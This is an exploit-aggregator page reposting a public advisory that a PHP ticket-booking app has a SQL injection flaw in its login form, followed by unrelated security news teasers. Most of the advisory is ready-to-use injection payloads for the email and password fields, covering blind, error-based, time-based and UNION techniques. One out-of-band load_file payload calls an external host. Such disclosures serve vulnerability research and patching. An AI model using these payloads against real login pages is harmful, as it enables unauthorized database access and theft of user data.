Exploit Collector
Ticket Booking 1.0 SQL Injection

https://4.bp.blogspot.com/-9fc43SI8K3Q/WWlvhaBflZI/AAAAAAAAIQU/x3qxae6Q3eMl1Wf8m-XtOKQ3MaKSPPWfQCLcBGAs/s1600/h90.png
Ticket Booking version 1.0 suffers from a remote SQL injection vulnerability.

MD5 | eb4417ce999f1346fdfecb7380c618e6

Download
## Title: Ticket Booking 1.0 suffer from SQL - Injenction
## Author: nu11secur1ty
## Date: 12.14.2021
## Vendor: https://code-projects.org/ticket-booking-in-php-with-source-code/
## Software: https://code-projects.org/ticket-booking-in-php-with-source-code/

## Description:
The password parameter appears to be vulnerable to SQL injection
attacks. The payload '+(select
load_file('\\\\dl2edbuqvk9djxngyslxk9z7hynrbqzh25uslga.nu11secur1tyPenetrationTestingEngineer.net\\yba'))+'
was submitted in the password parameter.
This payload injects a SQL sub-query that calls MySQL's load_file
function with a UNC file path that references a URL on an external
domain.
The application interacted with that domain, indicating that the
injected SQL query was executed. The attacker can be retrieving all
information from this system.

[+] Payload:

Parameter: email (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
Payload: email=-9424' OR 1979=1979#&password=hacked' or
'4861'='4870&login_submit=

Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (FLOOR)
Payload: email=pwned@nu11secur1tyPenetrationTestingEngineer.net'
OR (SELECT 3647 FROM(SELECT COUNT(*),CONCAT(0x717a6b7a71,(SELECT
(ELT(3647=3647,1))),0x71716a7a71,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- RnIV&password=hacked' or
'4861'='4870&login_submit=

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: email=pwned@nu11secur1tyPenetrationTestingEngineer.net'
AND (SELECT 2804 FROM (SELECT(SLEEP(5)))urgo)-- taiV&password=hacked'
or '4861'='4870&login_submit=

Type: UNION query
Title: MySQL UNION query (NULL) - 7 columns
Payload: email=pwned@nu11secur1tyPenetrationTestingEngineer.net'
UNION ALL SELECT
NULL,CONCAT(0x717a6b7a71,0x5379666f7a4b7256695768444c63617a724465514467724f4c59744a4d574a6d4c697974424d4c47,0x71716a7a71),NULL,NULL,NULL,NULL,NULL#&password=hacked'
or '4861'='4870&login_submit=

## Reproduce:
[href]()

## Proof and Exploit:
[href](https://streamable.com/vtr95i)
--
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.html and https://www.exploit-db.com/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
nu11secur1ty <http:

Source:packetstormsecurity.com

Hacking Articles
DarkHole: 2 Vulnhub Walkthrough

DarkHole: 2 is a medium-hard machine created by Jihad Alqurashi for Vulnhub. This system is also put through its paces in VirtualBox. This lab is

The post DarkHole: 2 Vulnhub Walkthrough appeared first on Hacking Articles.

How I Found multiple SQL Injection with FFUF and Sqlmap in a few minutes
https://infosecwriteups.com/how-i-found-multiple-sql-injection-with-ffuf-and-sqlmap-in-a-few-minutes-2824cd4dfab?source=rss------bug_bounty-5

Hello all, hope you’re OK. Our journey today is about how I found multiple SQL Injections in a bug bounty program in just a few minutes…Continue reading on InfoSec Write-ups » (https://infosecwriteups.com/how-i-found-multiple-sql-injection-with-ffuf-and-sqlmap-in-a-few-minutes-2824cd4dfab?source=rss------bug_bounty-5)

Dark Reading: Attacks/Breaches
Combat Misinformation by Getting Back to Security Basics

One volley of fake news may land, but properly trained AI can shut down similar attempts at their sources.

Dark Reading: Attacks/Breaches
Source Code Leaks: The Real Problem Nobody Is Paying Attention To

Source code is a corporate asset like any other, which makes it an attractive target for hackers.